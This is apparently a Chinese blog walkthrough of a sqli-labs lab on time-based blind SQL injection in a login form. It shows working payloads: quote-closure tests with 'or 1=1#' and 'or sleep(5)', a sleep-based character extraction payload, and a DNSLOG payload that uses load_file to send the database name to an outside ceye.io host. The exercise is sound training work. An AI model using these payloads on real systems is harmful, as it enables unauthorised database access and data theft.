![](https://img.haomeiwen.com/i7763570/6e1aa5a5b14d40a4.png)
一看题目就知道是基于时间的盲注......盲注最麻烦, 时间的更麻烦, 不知道老师跟我们说的那种DNSLOG的方法在这里有没有用了罒ω罒
虽然知道, 但是惯例先上来试一下单引号和双引号两种看报不报错, 发现果然是不报错的, 只是显示登录失败LOGIN FAILED
![](https://img.haomeiwen.com/i7763570/5fdd4da015137f94.png)
因为盲注不报错, 因此这里单纯的靠单引号或者双引号已经分辨不出来到底是哪种类型的闭合了. 所以可以加上or 1=1#来试探是哪种类型的闭合
![](https://img.haomeiwen.com/i7763570/1a4c059c0864853d.png)
首先'or 1=1登录成功, 因此认定是单引号闭合
再来看看双引号会是什么样的结果
![](https://img.haomeiwen.com/i7763570/c117f4d8ff379317.png)
这里可以看到"or 1=1#会显示登录失败
其实到这里可以发现, sqli-labs这个环境的POST部分压根就不是说让你练习万能密码的环境, 毕竟在实际环境中, 你大可以注册一个账号然后登录进去, 不需要这么麻烦(当然绕过网站的后台管理员账号还是有点用的, 但是实际中也压根就绕不过, 因为肯定有过滤机制啊, 只是记住有这种方法就行, 万一哪次用上了呢, 毕竟生活中什么样的人都有)
因此这里还可以使用sleep()这个函数来检测是什么符号闭合.
'or sleep(5) 可以明显感觉到服务器返回的时间慢好多,因此可以认定是单引号的形式闭合
"or sleep(5) 服务器就会立刻返回登录失败的信息, 因此认为不是双引号闭合的类型
payload
' or if(ascii(substr(payload,1,1))=115,sleep(5),0)#
这里的payload可以参考Less-9那一关的基于时间盲注部分, 是类似的, 不过这里不能用and, 只能使用or, 如果这里使用and的话, 那前面的用户名肯定是不知道的, and语句只要有一个false那整个语句都是false了, 因此只能使用or.
手工判断数据库的数据太麻烦了, 请参考Less-9(T▽T)
接下来尝试看一下DNSLOG在这里还能不能生效⁄(⁄⁄•⁄ω⁄•⁄⁄)⁄
获取当前数据库名
'or if((select load_file(concat('\\\\',(select database()),'.xxxx.ceye.io\\abc'))),1,1)#
![](https://img.haomeiwen.com/i7763570/f454e57cd5aa17a7.png)
发现依然是成功的, 可以生效, 因此还是建议这种方法, 或者使用sqlmap来跑, 手工实在是麻烦, 知道原理就好了 (=´ω`=)
其他可参考Less-8, 只需要将and换成or即可放在登录名的框里就可以注入得到想要的数据库信息
网友评论